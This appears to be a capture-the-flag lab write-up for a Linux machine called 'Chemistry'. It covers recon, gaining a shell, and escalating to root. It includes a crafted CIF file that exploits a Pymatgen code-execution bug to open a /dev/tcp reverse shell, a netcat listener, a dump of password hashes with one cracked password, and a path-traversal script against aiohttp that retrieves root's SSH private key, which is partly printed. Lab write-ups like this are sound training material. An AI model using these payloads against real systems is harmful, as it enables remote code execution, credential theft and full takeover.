Linux - Easy - Chemistry

Recon

$nmap -p- -A 10.129.159.76
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 19:34 UTC
Nmap scan report for 10.129.159.76
Host is up (0.063s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Mon, 21 Oct 2024 19:34:23 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>

Chemistry CIF Analyzer

Using Register we can create new account and get access to the dashboard with upload functionality.

It allows us only to upload only .cif files, i.e:

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

We can then proces this file by pressing View.

Uploading any other file type is blocked. We can however change content-type, but any other file makes the site crash. I tried adding ;whoami; at the end of cell_length, so that it is processed, but that it also causes the site to crash.

Let’s try to understand how it is processed then. Reading more about our example file, it turns out that it is a standard for representing crystallographic information.

$whatweb http://10.129.231.170:5000/
http://10.129.231.170:5000/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.9.5], IP[10.129.231.170], Python[3.9.5], Title[Chemistry - Home], Werkzeug[3.0.3]

Looking for popular python CIF processing libraries I’ve found CIFTools, PyCIF, ASE, Pymatgen, MDAnalysis, CifFile. Looking for CVE’s for any of them, only Pymatgen has one.

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.16.21/4444 0>&1'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  

Uploading this file and and trying to view it, get’s us the shell.

$nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.21] from (UNKNOWN) [10.129.231.170] 46078
sh: 0: can't access tty; job control turned off

Let’s stabilize the shell and go for the root.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL-Z
stty raw -echo; fg

User priv esc

In our home folder we have a couple of folders, one of them is called instance and has a file called database.db. Looking at it’s content we can find interesting data.

sqlite> SELECT name FROM sqlite_master WHERE type='table';
structure
user
sqlite> SELECT * FROM user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|test|098f6bcd4621d373cade4e832627b4f6

We know that there is user rosa on our system, as it has a home folder. Looking up her’s hash in crackstation, we get pass unicorniosrosados. It get’s us in.

Priv esc

Running linenum we can find new port accessible localy. Let’s look at it then by connecting via ssh, ssh -L 8080:localhost:8080 rosa@10.129.231.170.

[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1035/python3.9      
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

We can see that the site is also run by root.
root 1036 0.0 1.4 331388 28560 ? Ssl 11:05 0:00 /usr/bin/python3.9 /opt/monitoring_site/app.py

$whatweb http://localhost:8080/
http://localhost:8080/ [200 OK] HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[::1], JQuery[3.6.0], Script, Title[Site Monitoring]

It seems that aiohttp has a vulnerability, simple path travelsal. Someone even created a simple script for testing it. It does not work, but looking at the site’s source, we can see it’s file files it’s referencing. Modifing it to check starting with /assets, get’s us passwd.

#!/bin/bash

url="http://localhost:8080/assets"
string="../"
payload="/static/"
file="etc/passwd" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"

    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done

We can modify the script to get root ssh.

└──╼ $./exploit.sh 
[+] Testing with /static/../root/.ssh/id_rsa
    Status code --> 404
[+] Testing with /static/../../root/.ssh/id_rsa
    Status code --> 404
[+] Testing with /static/../../../root/.ssh/id_rsa
    Status code --> 404
[+] Testing with /static/../../../../root/.ssh/id_rsa
    Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo
DfYsOMY0zyI0k5yLl1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0WkJ8PUTgXuV2
UOljWP/TVPTkM5byav5bzhIwxhtdTy02DWjqFQn2kaQ8xe9X+Ymrf2wK8C4ezAycvlf3Iv
ATj++Xrpmmh9uR1HdS1XvD7glEFqNbYo3Q/OhiMto1JFqgWugeHm715yDnB3A+og4SFzrE
vrLegAOwvNlDYGjJWnTqEmUDk9ruO4Eq4ad1TYMbAAAFiPikP5X4pD+VAAAAB3NzaC1yc2
<SNIP>

Log in and we are done.